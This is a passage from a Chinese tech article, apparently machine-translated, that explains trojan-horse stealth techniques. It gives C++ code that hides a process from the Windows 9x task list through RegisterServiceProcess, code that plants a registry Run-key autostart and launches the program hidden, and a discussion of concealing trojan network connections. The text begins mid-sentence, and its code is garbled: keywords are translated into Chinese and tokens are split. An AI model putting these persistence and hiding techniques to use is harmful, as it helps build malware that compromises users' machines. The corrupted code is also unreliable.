近年来,黑客技术已经成熟,对网络安全构成了巨大威胁。黑客的主要攻击手段之一是利用木马技术渗透到对方的主机系统中,从而实山词霸等软件使用类似的方法来拦截TextOutA和TextOutW函数来拦截屏幕输出并实现即时翻译。同样,此方法也可以用于进程隐藏。
当进程真正被隐藏时,则在程序的木马服务器部分运行之后,它不应具有正常的进程,也不应具有服务,也就是说,该进程已完全集成到内核中。系统。也许您会发现它很奇怪。这不是说应用程序运行后必须生成一个进程吗?的确,所以我们不能使他成为一个应用程序,而是作为一个线程,成为其他应用程序的线程,并将其自身注入到其他应用程序的地址空间中。这个应用程序对于系统来说是绝对安全的程序。这样,它实现了完全隐藏的效果。结果,这增加了检查和杀死黑客的难度。
出于安全原因,我仅给出一种通过注册服务程序来实现进程伪隐藏的方法。有关更复杂和高级的隐藏方法,例如将线程远程插入其他进程,请参阅ShotGun的文章“在NT系统下隐藏和检测木马进程”。
WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{
尝试
{
DWORD dwVersion = GetVersion(); //获取Windows的版本号
if(dwVersion> = 0x8000000 0) // Windows 9x隐藏任务列表
{
int(CALLBACK * rsp)(DWORD,DWORD);
HINSTANCE dll = LoadLibrary(“ KERNEL3 2. DLL”); //加载KERNEL3 2. DLL
rsp =(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,“ RegisterServiceProcess”); //查找RegisterServiceProcess的条目
rsp(NULL,1); //注册服务
FreeLibrary(dll); //释放DLL模块
}
}
捕获(异常和异常)//处理异常事件
{
//处理异常事件
}
返回0;
}
3、程序的自动加载和运行技术
有很多方法可以让程序自行运行。除了最常见的方法:将程序加载到启动组,将程序启动路径写入注册表HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersions / Run,还有许多方法。根据yagami的说法,还有其他方法数十种方法,例如,您可以修改Boot.ini,或者可以通过注册表中的输入法键直接挂钩启动,修改Explorer.exe的启动参数等,可以说很难谨防。下面显示了一个通过修改HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersions / Run键值来实现自我启动的程序:
自动加载部分:
HKEY hkey;
AnsiString NewProgramName = AnsiString(sys)+ AnsiString(“ + PName /”> //“)+ PName
无符号长k;
k = REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
“ SOFTWARE // MICROSOFT // WINDOWS // CURRENTVERSION // RUN //”,
0L,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS | KEY_SET_VALUE,
NULL,
&hkey,&k);
RegSetValueEx(hkey,
“ BackGroup”,
0,
REG_SZ
NewProgramName.c_str(),
NewProgramName.Length());
RegCloseKey(hkey);
if(int(ShellExecute(Handle,
“打开”,
NewProgramName.c_str(),
NULL,
NULL,
SW_HIDE))> 3 2)
{
WantClose = true;
Close();
}
其他
{
HKEY hkey;
无符号长k;
k = REG_OPENED_EXISTING_KEY;
long a = RegCreateKeyEx(HKEY_LOCAL_MACHINE,
“软件//微软// WINDOWS // CURRENTVERSION //运行”,
0,
NULL,
REG_OPTION_NON_VOLATILE,

KEY_SET_VALUE,NULL,
&hkey,&k);
RegSetValueEx(hkey,
“ BackGroup”,
0,
REG_SZ
ProgramName.c_str(),
ProgramName.Length());
int num = 0;
char str [20];
DWORD lth = 20;
DWORD类型;
char strv [255];
DWORD vl = 254;
DWORD Suc;
做{
Suc = RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,str,
NULL,
&type
strv,&vl);
if(strcmp(str,“ BGroup”)== 0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,“ BGroup”);
休息;
}
} while(Suc == ERROR_SUCCESS);
RegCloseKey(hkey);
}
自装载程序的卸载代码:
int num;
char str2 [20];
DWORD lth = 20;
DWORD类型;
char strv [255];
DWORD vl = 254;
DWORD Suc;
做{
Suc = RegEnumValue(HKEY_LOCAL_MACHINE,
(DWORD)num,
str,
NULL,
&type
strv,
&vl);
if(strcmp(str,“ BGroup”)== 0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,“ BGroup”);
休息;
}
} while(Suc == ERROR_SUCCESS)
HKEY hkey;
无符号长k;
k = REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
“软件//微软// WINDOWS // CURRENTVERSION //运行”,
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,NULL,
&hkey
&k);
做{
Suc = RegEnumValue(hkey,(DWORD)num,str,if(strcmp(str,“ BackGroup”)== 0)
{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,“ BackGroup”);
休息;
}
} while(Suc == ERROR_SUCCESS)
RegCloseKey(hkey);
可以使用C ++ Builder编写这样的自加载部分,该过程将更加简化:
TRegistry&regKey = * new TRegistry();
regKey.RootKey = HKEY_LOCAL_MACHINE;
regKey.OpenKey(“软件// Microsoft // Windows // CurrentVersion // Run”,true);
if(!regKey.ValueExists(“ Interbase服务器”))
{
regKey.WriteString(“ Interbase服务器”,
“ D:// Program Files // Borland // IntrBase // BIN // ibserver.exe”);
}
regKey.CloseKey();
删除?密钥;
4、木马程序用于建立连接隐藏
木马程序有许多数据传输方法。最常见的方法是TCP和UDP数据传输。通常,它使用Winsock与目标计算机的指定端口建立连接,并使用诸如send和recv之类的API来执行数据。但是,由于该方法的隐蔽性很差,因此某些工具软件通常很容易查看它。最简单的方法(例如在命令行状态下使用netstat命令)可以查看当前的活动TCP和UDP连接。
C:/ Documents and Settings / bigball> netstat -n
活动连接
原始本地地址外部地址状态
已建立TCP 19 2. 0. 0. 9:1032 6 4. 4. 1 3. 48:1863
已建立TCP 19 2. 0. 0. 9:1112 6 1. 14 1. 21 2. 95:80已建立
已建立TCP 19 2. 0. 0. 9:1135 20 2. 13 0. 23 9. 223:80已建立
已建立TCP 19 2. 0. 0. 9:1142 20 2. 13 0. 23 9. 223:80已建立
本文来自本站,转载请注明本文网址:
http://www.pc-fly.com/a/shouji/article-368790-1.html
……